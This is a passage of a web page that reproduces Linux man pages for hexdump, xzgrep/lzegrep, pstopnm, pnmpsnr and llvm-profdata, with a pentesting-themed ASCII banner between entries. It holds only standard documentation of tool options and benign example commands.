Display help text and exit.

-V, –version

Print version and exit.

For each input file, hexdump sequentially copies the input to standard output, transforming the data according to the format strings specified by the -e and -f options, in the order that they were specified.

FORMATS

A format string contains any number of format units, separated by whitespace. A format unit contains up to three items: an iteration count, a byte count, and a format.

The iteration count is an optional positive integer, which defaults to one. Each format is applied iteration count times.

The byte count is an optional positive integer. If specified it defines the number of bytes to be interpreted by each iteration of the format.

If an iteration count and/or a byte count is specified, a single slash must be placed after the iteration count and/or before the byte count to disambiguate them. Any whitespace before or after the slash is ignored.

The format is required and must be surrounded by double quote (" “) marks. It is interpreted as a fprintf-style format string (see fprintf(3)), with the following exceptions:

1.

An asterisk (*) may not be used as a field width or precision.

2.

A byte count or field precision is required for each s conversion character (unlike the fprintf(3) default which prints the entire string if the precision is unspecified).

3.

The conversion characters h, l, n, p, and q are not supported.

4.

The single character escape sequences described in the C standard are supported:

>>>>>>>>>>>>>>>
NULL
<alert character>
<backspace>
<form-feed>
<newline>
<carriage return>
<tab>
<vertical tab>
> >

Conversion strings

The hexdump utility also supports the following additional conversion strings.

_a[dox]

Display the input offset, cumulative across input files, of the next byte to be displayed. The appended characters d, o, and x specify the display base as decimal, octal or hexadecimal respectively.

_A[dox]

Almost identical to the _a conversion string except that it is only performed once, when all of the input data has been processed.

_c

Output characters in the default character set. Non-printing characters are displayed in three-character, zero-padded octal, except for those representable by standard escape notation (see above), which are displayed as two-character strings.

_p

Output characters in the default character set. Non-printing characters are displayed as a single ..

_u

Output US ASCII characters, with the exception that control characters are displayed using the following, lower-case, names. Characters greater than 0xff, hexadecimal, are displayed as hexadecimal strings.

000 nul001 soh002 stx003 etx004 eot005 enq
006 ack007 bel008 bs009 ht00A lf00B vt
00C ff00D cr00E so00F si010 dle011 dc1
012 dc2013 dc3014 dc4015 nak016 syn017 etb
018 can019 em01A sub01B esc01C fs01D gs
01E rs01F us0FF del

Colors

When put at the end of a format specifier, hexdump highlights the respective string with the color specified. Conditions, if present, are evaluated prior to highlighting.

_L[color_unit_1,color_unit_2,…,color_unit_n]

The full syntax of a color unit is as follows:

[!]COLOR[:VALUE][@OFFSET_START[-END]]

!

Negate the condition. Please note that it only makes sense to negate a unit if both a value/string and an offset are specified. In that case the respective output string will be highlighted if and only if the value/string does not match the one at the offset.

COLOR

One of the 8 basic shell colors.

VALUE

A value to be matched specified in hexadecimal, or octal base, or as a string. Please note that the usual C escape sequences are not interpreted by hexdump inside the color_units.

OFFSET

An offset or an offset range at which to check for a match. Please note that lone OFFSET_START uses the same value as END offset.

Counters

The default and supported byte counts for the conversion characters are as follows:

%_c, %_p, %_u, %c

One byte counts only.

%d, %i, %o, %u, %X, %x

Four byte default, one, two and four byte counts supported.

%E, %e, %f, %G, %g

Eight byte default, four byte counts supported.

The amount of data interpreted by each format string is the sum of the data required by each format unit, which is the iteration count times the byte count, or the iteration count times the number of bytes required by the format if the byte count is not specified.

The input is manipulated in blocks, where a block is defined as the largest amount of data specified by any format string. Format strings interpreting less than an input block’s worth of data, whose last format unit both interprets some number of bytes and does not have a specified iteration count, have the iteration count incremented until the entire input block has been processed or there is not enough data remaining in the block to satisfy the format string.

If, either as a result of user specification or hexdump modifying the iteration count as described above, an iteration count is greater than one, no trailing whitespace characters are output during the last iteration.

It is an error to specify a byte count as well as multiple conversion characters or strings unless all but one of the conversion characters or strings is _a or _A.

If, as a result of the specification of the -n option or end-of-file being reached, input data only partially satisfies a format string, the input block is zero-padded sufficiently to display all available data (i.e., any format units overlapping the end of data will display some number of the zero bytes).

Further output by such format strings is replaced by an equivalent number of spaces. An equivalent number of spaces is defined as the number of spaces output by an s conversion character with the same field width and precision as the original conversion character or conversion string but with any +, , # conversion flag characters removed, and referencing a NULL string.

If no format strings are specified, the default display is very similar to the -x output format (the -x option causes more space to be used between format units than in the default output).

EXIT STATUS

hexdump exits 0 on success and > 0 if an error occurred.

CONFORMING TO

The hexdump utility is expected to be IEEE Std 1003.2 (“POSIX.2”) compatible.

EXAMPLES

Display the input in perusal format:

“%06.6_ao " 12/1 “%3_u " " " “%_p " " "

Implement the -x option:

“%07.7_Ax " “%07.7_ax " 8/2 “%04x " " "

MBR Boot Signature example: Highlight the addresses cyan and the bytes at offsets 510 and 511 green if their value is 0xAA55, red otherwise.

“%07.7_Ax_L[cyan] " “%07.7_ax_L[cyan] " 8/2 " %04x_L[green:0xAA55@510-511,!red:0xAA55@510-511] " " "

COLORS

The output colorization is implemented by terminal-colors.d(5) functionality. Implicit coloring can be disabled by an empty file

/etc/terminal-colors.d/hexdump.disable

for the hexdump command or for all tools by

/etc/terminal-colors.d/disable

The user-specific $XDG_CONFIG_HOME/terminal-colors.d or $HOME/.config/terminal-colors.d overrides the global setting.

Note that the output colorization may be enabled by default, and in this case terminal-colors.d directories do not have to exist yet.

REPORTING BUGS

For bug reports, use the issue tracker at <https://github.com/util-linux/util-linux/issues>.

AVAILABILITY

The hexdump command is part of the util-linux package which can be downloaded from Linux Kernel Archive <https://www.kernel.org/pub/linux/utils/util-linux/>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1696 - Linux cli command lzegrep

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command lzegrep and provides detailed information about the command lzegrep, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the lzegrep.

NAME 🖥️ lzegrep 🖥️

search possibly-compressed files for patterns

SYNOPSIS

xzgrep [option…] [pattern_list] [file…]
xzegrep
xzfgrep
lzgrep
lzegrep
lzfgrep

DESCRIPTION

xzgrep invokes grep(1) on uncompressed contents of files. The formats of the files are determined from the filename suffixes. Any file with a suffix supported by xz(1), gzip(1), bzip2(1), lzop(1), zstd(1), or lz4(1) will be decompressed; all other files are assumed to be uncompressed.

If no files are specified or file is - then standard input is read. When reading from standard input, only files supported by xz(1) are decompressed. Other files are assumed to be in uncompressed form already.

Most options of grep(1) are supported. However, the following options are not supported:

-r, –recursive

-R, –dereference-recursive

-d, **–directories=**action

-Z, –null

-z, –null-data

**–include=**glob

**–exclude=**glob

**–exclude-from=**file

**–exclude-dir=**glob

xzegrep is an alias for xzgrep -E. xzfgrep is an alias for xzgrep -F.

The commands lzgrep, lzegrep, and lzfgrep are provided for backward compatibility with LZMA Utils.

EXIT STATUS

0
At least one match was found from at least one of the input files. No errors occurred.

1
No matches were found from any of the input files. No errors occurred.

>1
One or more errors occurred. It is unknown if matches were found.

ENVIRONMENT

GREP
If GREP is set to a non-empty value, it is used instead of grep, grep -E, or grep -F.

SEE ALSO

grep(1), xz(1), gzip(1), bzip2(1), lzop(1), zstd(1), lz4(1), zgrep(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1697 - Linux cli command pstopnm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pstopnm and provides detailed information about the command pstopnm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pstopnm.

.

NAME 🖥️ pstopnm 🖥️

convert a PostScript file to a PNM image

SYNOPSIS

pstopnm

[-stdout]

[-forceplain]

[-help]

[**-dpi=**dpi]

[**-xsize=pixels] [-ysize=**pixels]

[-xborder=frac] [-yborder=frac] [-landscape]

[-portrait]

[-nocrop]

[-pbm

|-pgm

|-ppm]

[**-llx=s] [-lly=s] [-urx=s] [-ury=**s]

[-verbose]

[**-xmax=pixels] [-ymax=**pixels]

[-textalphabits={1,2,4}]

psfile[.ps]

OPTION USAGE

Minimum unique abbreviation of option is acceptable. You may use double hyphens instead of single hyphen to denote options. You may use white space in place of the equals sign to separate an option name from its value.

DESCRIPTION

This program is part of Netpbm(1) .

pstopnm reads a PostScript or PDF file as input and produces PBM, PGM, or PPM images as output. This program simply uses GhostScript to render a PostScript file with its PNM device drivers. If you don’t have GhostScript installed or the version you have installed was not built with the relevant PNM device drivers, pstopnm will fail. You can see if you have the proper environment by issuing the command gs --help . If it responds and lists under “Available Devices” pbm, pbmraw, pgm, pgmraw, pnm, pnmraw, ppm, or ppmraw, you’re in business.

It’s important to understand that pstopnm is a Netpbm image file format converter only in the broadest sense of the word, because Postscript is far from an image file format. What pstopnm really is is a Postscript renderer - an image generator. One place you’ll notice the difference is where you expect pstopnm | pnmtops to be idempotent (which is not the case). There are details on this kind of conversion below.

pstopnm uses the value of the GHOSTSCRIPT environment variable as the file name for the Ghostscript program. If GHOSTSCRIPT is not set, pstopnm searches your PATH for a regular file named gs. If it doesn’t find one, it assumes Ghostscript is in the file /usr/bin/gs.

pstopnm does not use the Netpbm libraries to generate the output files, so may not be entirely consistent with most Netpbm programs.

psfile[.ps] is the name of the input file. pstopnm will add the ps to the end of the name you specify if no file exists by the exact name you specify, but one with .psadded does. For Standard Input, use - or just don’t give any argument.

If you use the -stdout option or your input is from Standard Input, pstopnm outputs images of all the pages as a multi-image file to Standard Output. Otherwise, pstopnm creates one file for each page in the Postscript input. The files are named as follows: If the input file is named psfile.ps, the name of the files will be psfile001.ppm, psfile002.ppm, etc. The filetype suffix is .ppm, .pgm, or .pbm, depending on which kind of output you choose with your invocation options. If the input file name does not end in .ps, the whole file name is used in the output file name. For example, if the input file is named psfile.old, the output file name is psfile.old001.ppm, etc.

Note that the output file selection is inconsistent with most Netpbm programs, because it does not default to Standard Output. This is for historical reasons, based on the fact that the Netpbm formats did not always provide for a sequence of images in a single file.

When your input is from Standard Input, you may feed multiple Encapsulated Postscript documents, one after another, and pstopnm converts every document and places it in the Standard Output stream as an image. But if your input is from a named file, pstopnm expects the file to be an Encapsulated Postscript file, which means it contains only one Enapsulated Postscript document. If the file contains multiple concatenated documents, pstopnm ignores every document but the first. This distinction does not exist for non-EPSF Postscript input - pstopnm generates an output image for each page of the input regardless of whether the input is from Standard Input or from a named file.

Note that you can generate both kinds of files - concatenated EPSF and multi-page non-EPSF - with pnmtops, selecting with the -setpage option.

Each output image contains a rectangular area of the page to which it pertains. See the Dimensions section for details on what part of the input image goes into the output image and how big it is in the output and what borders and margins are in the output image.

It has been reported that on some Postscript Version 1 input, Ghostscript, and therefore pstopnm, produces no output. To solve this problem, you can convert the file to Postscript Version 3 with the program ps2ps. It is reported that the program pstops does not work.

Dimensions

This section describes what part of the input image gets used in the output and the dimensions of the output, including borders and background.

Note that an output image is associated with a single input page.

pstopnm starts by taking a rectangular area from the input page. That is called the subject image.

pstopnm may add borders to the subject image to form what is called the bordered subject image.

pstopnm places the bordered subject image in the center of the output image and clips the edges as necessary to fit the computed output image size.

The location of the subject image in the Postscript input page is defined by four numbers, the lower left corner and the upper right corner x and y coordinates. These coordinates are usually specified by the BoundingBox DSC statement (a Postscript comment) in the PostScript file, but they can be overridden by the user by specifying one or more of the following options: -llx, -lly, -urx, and -ury.

The presence and thickness of a border to be added to the subject image to form the bordered subject image is controlled by the options -xborder and -yborder. If pstopnm does not find a BoundingBox statement in the input, and you don’t specify image area coordinates on the command line, pstopnm uses default values. If your input is from Standard Input, pstopnm does not use the BoundingBox values (because of the technical difficulty of extracting that information and still feeding the file to Ghostscript), so you either have to specify the image area coordinates or take the default.

The output image size is a confusing thing. In a Postscript file, things have spatial dimensions. For example, a particular line may be 3 centimeters long. A Postscript printer is supposed to print the line 3 centimeters long, using however many pixels that takes, without regard to how big the sheet of paper on which it is printing is. In a PNM image, by contrast, there is no spatial dimension; there are only pixels. You might have a line that is 100 pixels long, but the PNM image says nothing about how long that line should be on a printed page.

pstopnm fills the role of a Postscript printer. The PNM image is a virtual printed page. pstopnm must determine how many pixels it will use in the output image to represent an inch of input image, which is the “output device resolution.” Think of it as the number of dots per inch the virtual printer prints on the virtual page.

The simplest thing is for you to tell pstopnm exactly what output device resolution to use, using the -dpi option. If you say for example -dpi=300 and the bordered subject image is 2 inches by 3 inches, the PNM output will be 600 pixels by 900 pixels. Using this method, the output device resolution has to be the same in both directions.

Or you can set the output image dimensions with -xsize and -ysize. For example, if you say -xsize=1200 -ysize=1800 and the bordered subject image is 2 inches wide by 3 inches high, the output image is 1200 by 1800 pixels, with each pixel representing 1/600 inch of input image.

In the unlikely event that you want different output device resolutions in the two directions, you could use -xsize and -ysize to do that. In the above example, if you change -ysize to 900, a pixel still represents 1/600 inch horizontally, but 1/300 inch vertically.

If you specify one of -xsize and -ysize and not the other, pstopnm defaults the other such that the output device resolution is the same in both directions.

The “x” and “y” of -xsize and -ysize refer to the image being printed on the page, not the page. So if pstopnm prints it in landscape orientation, “x” would pertain to the vertical direction on the page, i.e. the vertical direction in the output PNM image.

If you specify neither the output size nor the output device resolution, pstopnm does some weird computation which exists mainly for historical reasons:

If you specify -nocrop, pstopnm uses the values of -xmax and -ymax for the output image dimensions. These default to 612 and 792 pixels, respectively.

The final case, the default, is where you don’t specify any size or resolution options or -nocrop. This is the most complicated case. In this case, pstopnm first chooses an output device resolution that would generate the number of pixels indicated by -xmax and -ymax from the bordered subject image. Then, based on that resolution, it chooses an output image size that is just large enough to accommodate the subject image (no borders). Remember (above) that pstopnm trims the edges of the bordered subject image to fit the computed output size.

Ghostscript Limitations

Tests done in 2013 with Ghostscript 8.71 indicate that Ghostscript’s pgmraw output driver has some kind of rounding error that causes the pixel values to change slightly, and that means pstopnm generates incorrect output when you have monochrome Postscript input. But with color Postscript input, pstopnm uses Ghostscript’s ppmraw output driver and generates correct PPM output.

Usage Notes

There is some good advice on converting to and from Postscript, in the document " Postcript File Conversions" (1) by Andrew T. Young.

Reversible Conversion

If you’re trying to do the equivalent of the naive pnmtops | pstopnm, the following steps will do it.

    $ pnmtops -nocenter -equalpixels -dpi 72 -noturn testimg.ppm > testimg.ps
    $ pstopnm -xborder=0 -yborder=0 -xsize=XSIZE -ysize=YSIZE \
        -portrait -stdout -quiet testimg.ps >testimg2.ppm

XSIZE and YSIZE above are the image dimensions, which you can get from testimg.ps like in the following example (the grep, awk and echo commands are just to help demonstrate how the other commands work - you wouldn’t use those in a program).

    $ grep "BoundingBox" testimg.ps
    %%BoundingBox: 0 0 227 149

    $ awk  '/%%BoundingBox/ {print $4,$5}' testimg.ps
     227 149
 
    $ xysize=$(awk  '/%%BoundingBox/ {print "-xsize="$4,"-ysize="$5}' testimg.ps)
    $ echo $xysize

     -xsize=227 -ysize=149

    $ pstopnm -xborder=0 -yborder=0 $xysize -portrait ... testimg.ps

Note that Ghostscript bugs can keep this from doing a perfect reversible conversion.

PDF is a subset of Postscript, so pstopnm can convert from PDF to Netpbm format, but often produces the wrong size image because of pstopnm*’s reliance on a BoundingBox DSC statement, which PDF does* not have. With pure text PDFs, it works fine. In other cases, you can get better results by converting to general Postscript with the pdf2ps program that comes with Ghostscript. For more information about converting to and from PDF, see Document/Graphics Software .

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet*, see* Common Options ), pstopnm recognizes the following command line options:

-forceplain
forces the output file to be in plain (text) format. Otherwise, it is in raw (binary) format. See pbm(1) , etc. Use this instead of the -plain common option if you need plain format output.

**-llx=**bx
selects bx as the lower left corner x coordinate (in inches) on the Postscript input page of the subject image. See the Dimensions section .

**-lly=**by
selects by as the lower left corner y coordinate (in inches) on the Postscript input page of the subject image. See the Dimensions section .

-landscape
renders the image in landscape orientation.

If you specify neither -portrait nor -landscape*,* pstopnm chooses the orientation that best fits the image on the output page.

Landscape means printed sideways on the page, not printed the long way. Those are different things if the long edge of the page is the top one.

-portrait
renders the image in portrait orientation.

See -landscape*.*

-nocrop
This option causes pstopnm to make the output image exactly the dimensions of the bordered subject image. By default, pstopnm makes the output image the dimensions specified by -xmax and -ymax*. See* the Dimensions section .

-pbm
-pgm
-ppm
selects the format of the output file. By default, all files are rendered as PPM.

-stdout
causes output to go to Standard Output instead of to regular files, one per page (see description of output files above). Use pnmsplit to extract individual pages from Standard Output.

**-urx=**tx
selects tx as the upper right corner x coordinate (in inches) on the Postscript input page of the subject image. See the Dimensions section .

**-ury=**ty
selects ty as the upper right corner y coordinate (in inches) on the Postscript input page of the subject image. See the Dimensions section .

-verbose
prints processing information to stdout.

**-xborder=**frac
specifies that the left and right borders added to the subject image are to be frac times the subject image width. The default value is 0.1. See the Dimensions section .

**-xmax=**xmax
specifies that the output image is to be xmax pixels wide. The default is 612. See the Dimensions section .

**-xsize=**xsize
specifies that the output image is to be xsize pixels wide. See the Dimensions section .

**-yborder=**frac
specifies that the top and bottom borders added to the subject image are to be frac times the subject image height. The default value is 0.1. See the Dimensions section .

**-ymax=**ymax
specifies that the output image is to be ymax pixels high. The default is 792. See the Dimensions section .

**-ysize=**ysize
specifies that the output image is to be ymax pixels high. See the Dimensions section .

**-dpi=**dpi
specifies the output device resolution, in dots per inch, of the Postscript printer that pstopnm simulates. This is the number of PNM pixels pstopnm generates for each inch of image. See the Dimensions section .

This option was new in Netpbm 10.21 (March 2004).

-textalphabits={1,2,4}
This controls subsample antialiasing of text. Antialiasing is a form of smoothing that eliminates jagged edges on characters. Subsample antialiasing is a kind of antialiasing that uses subpixels in a box, and the value of this option is the size of that box. 4 gives you the best looking output, while 1 causes no antialiasing. Smaller numbers make pnmtops use less CPU time.

Pstopnm uses Ghostscript’s TextAlphaBits parameter for this.

The default is 4.

This option was new in Netpbm 10.53 (December 2010). Older versions of pstopnm do no antialiasing.

LIMITATIONS

The program will produce incorrect results with PostScript files that initialize the current transformation matrix. In these cases, page translation and rotation will not have any effect. To render these files, probably the best bet is to use the following options:

    pstopnm -xborder 0 -yborder 0 -portrait -nocrop file.ps

Additional options may be needed if the document is supposed to be rendered on a medium different from letter-size paper.

SEE ALSO

gs*,* pnmtops(1) , psidtopgm(1) , pbmtolps(1) , pbmtoepsi(1) , pnmsplit(1) , pstofits

COPYRIGHT

Copyright (c) 1992 Smithsonian Astrophysical Observatory

PostScript is a Trademark of Adobe Systems Incorporated.

AUTHOR

Alberto Accomazzi, WIPL, Center for Astrophysics.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pstopnm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1698 - Linux cli command pnmpsnr

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pnmpsnr and provides detailed information about the command pnmpsnr, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pnmpsnr.

.

NAME 🖥️ pnmpsnr 🖥️

compute the difference between two images (the PSNR)

SYNOPSIS

pnmpsnr

[pnmfile1]

[pnmfile2]

[-rgb] [-machine] [**-max=n] [-target=n] [-target1=n] [-target2=n] [-target3=**n]

Minimum unique abbreviations of options are acceptable. You may use double hyphens instead of single hyphen to denote options. You may use white space in place of the equals sign to separate an option name from its value.

DESCRIPTION

This program is part of Netpbm(1) .

pnmpsnr reads two PBM, PGM, or PPM files, or PAM equivalents, as input and computes the magnitude of difference between the two images as a peak signal-to-noise ratio (PSNR) This metric is typically used in image compression papers to rate the distortion between original and decoded image.

pnmpsnr either prints these values or compares them to thresholds you specify.

The PSNR of a given component is the ratio of the maximum mean square difference of component values that could exist between the two images (a measure of the information content in an image) to the actual mean square difference for the two subject images. It is expressed as a decibel value.

The mean square difference of a component for two images is the mean square difference of the component value, comparing each pixel with the pixel in the same position of the other image. For the purposes of this computation, components are normalized to the scale [0..1].

The maximum mean square difference is identically 1.

So the higher the PSNR, the closer the images are. A luminance PSNR of 20 means the mean square difference of the luminances of the pixels is 100 times less than the maximum possible difference, i.e. 0.01.

Note that the word “peak” is a misnomer; there is no maximum involved; the metric is a mean. But “peak signal to noise ratio” is for some reason the common term for this measurement.

If the inputs are PBM or PGM, pnmpsnr computes the PSNR of the luminance only. Otherwise, it computes three separate PSNRs: either the luminance, and chrominance (Cb and Cr) components of the colors or the red, green, and blue components.

By default, the program prints the PSNRs to Standard Output in human-friendly form.

With the -machine option, the program prints the PSNRs, but in machine-friendly form.

With a -target[x] option, the program just prints ‘match’ or ’nomatch’, depending on whether the PSNRs exceed targets you specify.

pnmpsnr reports the PSNR either in human-friendly form or in machine-friendly form (see -machine).

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pnmpsnr recognizes the following command line options:

-rgb
This option causes pnmpsnr to compare the red, green, and blue components of the color rather than the luminance and chrominance components. It has no effect on a monotone image.

This option was new in Netpbm 10.71 (June 2015).

-machine
This option causes pnmpsnr to report the PSNRs in machine-friendly form, so another program can easily use the information.

The output is a single line. It contains one floating point decimal number for each color component, with a single space between every two. (This means there are either 1 or 3 numbers). For the YCbCr color space (no -rgb), they are in the order Y, Cb, Cr. For the RGB color space (-rgb), they are in R, G, B order. For a monotone image, there is one number.

Where the component does not differ between the images, so the PSNR is infinite, the number is inf

But note that the number displayed is also modified by the effect of -max. In particular, with -max, you will never see inf.

This option has no effect when you also specify -target[n].

This option was new in Netpbm 10.74 (March 2016).

**-max=**n
This is meaningful only with -machine.

It specifies the maximum number pnmpsnr will print as a PSNR. If the PSNR is greater than n, pnmpsnr just prints n. n is a decimal floating point number. An infinite PSNR is considered greater than any number.

This is mainly useful to deal with infinite PSNRs. It is often much more convenient to have a program process only numbers than to make it deal with infinity, and often a very large number has the same effect on a program as infinity.

Note that the output is logarithmic, which means you will not see really large but finite numbers. If you specify -max=1000, the only way you will see 1000 in the output is if the PSNR is really infinite. Two images with as many pixels as there are electrons in the universe, differing in only one pixel, and only in the smallest amount representable in the Netpbm format, have a PSNR less than 1000.

This option was new in Netpbm 10.74 (March 2016).

-target=n
This option causes pnmpsnr to run in comparison mode - rather than print the PSNRs, it just tells you whether the PSNRs exceed n (a floating point number), i.e. whether the compared images are the same within a given margin of error. If all the computed PSNRs (luminance for a PBM or PGM; luminance and chrominance or red, green, and blue for PPM) exceed n, the program prints ‘match’ to Standard Output. Otherwise, it prints ’nomatch’.

If you also specify any of -target1, -target2, or -target3, and the images are color, pnmpsnr ignores -target.

This is mainly useful for use in a program. If you’re running pnmpsnr manually, you could just run pnmpsnr without -target and compare the PSNRs to your targets yourself.

This option was new in Netpbm 10.82 (March 2018).

-target{1,2,3}=n
Like -target, these options cause pnmpsnr to run in comparison mode. But they provide separate targets for the individual color component PSNRs. -target1, target-2, and -target3 are for either the Y, Cb, and Cr components, respectively, or the red, green, and blue components, respectively, depending upon whether you specified -rgb.

If you don’t specify the corresponding -targetn option for a component, pnmpsnr ignores the PSNR of that component in deciding whether the images match.

If the image is a PBM or PGM, these options have no effect, except that it stilll selects comparison mode, so if you don’t also specify -target, and the image is PBM or PGM, the program fails.

Note that the options are defined so that you could code a pnmpsnr command in a program that works on both color and monotone images, specifying individual PSNR targets for use on the color images and the single target for use on the monotone images.

These options were new in Netpbm 10.82 (March 2018).

SEE ALSO

pnm(1)

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pnmpsnr.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1699 - Linux cli command llvm-profdata-16

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-profdata-16 and provides detailed information about the command llvm-profdata-16, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-profdata-16.

NAME 🖥️ llvm-profdata-16 🖥️

profdata - Profile data tool

SYNOPSIS

llvm-profdata command [args…]

DESCRIPTION

The llvm-profdata tool is a small utility for working with profile data files.

COMMANDS

  • merge

  • show

  • overlap

MERGE

SYNOPSIS

llvm-profdata merge [options] [filename…]

DESCRIPTION

llvm-profdata merge takes several profile data files generated by PGO instrumentation and merges them together into a single indexed profile data file.

By default profile data is merged without modification. This means that the relative importance of each input file is proportional to the number of samples or counts it contains. In general, the input from a longer training run will be interpreted as relatively more important than a shorter run. Depending on the nature of the training runs it may be useful to adjust the weight given to each input file by using the -weighted-input option.

Profiles passed in via -weighted-input, -input-files, or via positional arguments are processed once for each time they are seen.

OPTIONS

–help
Print a summary of command line options.

–output=<output>, -o
Specify the output file name. Output cannot be - as the resulting indexed profile data can’t be written to standard output.

–weighted-input=<weight,filename>
Specify an input file name along with a weight. The profile counts of the supplied filename will be scaled (multiplied) by the supplied weight, where weight is a decimal integer >= 1. Input files specified without using this option are assigned a default weight of 1. Examples are shown below.

–input-files=<path>, -f
Specify a file which contains a list of files to merge. The entries in this file are newline-separated. Lines starting with ‘#’ are skipped. Entries may be of the form <filename> or <weight>,<filename>.

–remapping-file=<path>, -r
Specify a file which contains a remapping from symbol names in the input profile to the symbol names that should be used in the output profile. The file should consist of lines of the form <input-symbol> <output-symbol>. Blank lines and lines starting with # are skipped.

The llvm-cxxmap tool can be used to generate the symbol remapping file.

–instr (default)
Specify that the input profile is an instrumentation-based profile.

–sample
Specify that the input profile is a sample-based profile.

The format of the generated file can be generated in one of three ways:

–binary (default)

Emit the profile using a binary encoding. For instrumentation-based profile the output format is the indexed binary format.

–extbinary

Emit the profile using an extensible binary encoding. This option can only be used with sample-based profile. The extensible binary encoding can be more compact with compression enabled and can be loaded faster than the default binary encoding.

–text

Emit the profile in text mode. This option can also be used with both sample-based and instrumentation-based profile. When this option is used the profile will be dumped in the text format that is parsable by the profile reader.

–gcc

Emit the profile using GCC’s gcov format (Not yet supported).

–sparse[=true|false]
Do not emit function records with 0 execution count. Can only be used in conjunction with -instr. Defaults to false, since it can inhibit compiler optimization during PGO.

–num-threads=<N>, -j
Use N threads to perform profile merging. When N=0, llvm-profdata auto-detects an appropriate number of threads to use. This is the default.

–failure-mode=[any|all]
Set the failure mode. There are two options: ‘any’ causes the merge command to fail if any profiles are invalid, and ‘all’ causes the merge command to fail only if all profiles are invalid. If ‘all’ is set, information from any invalid profiles is excluded from the final merged product. The default failure mode is ‘any’.

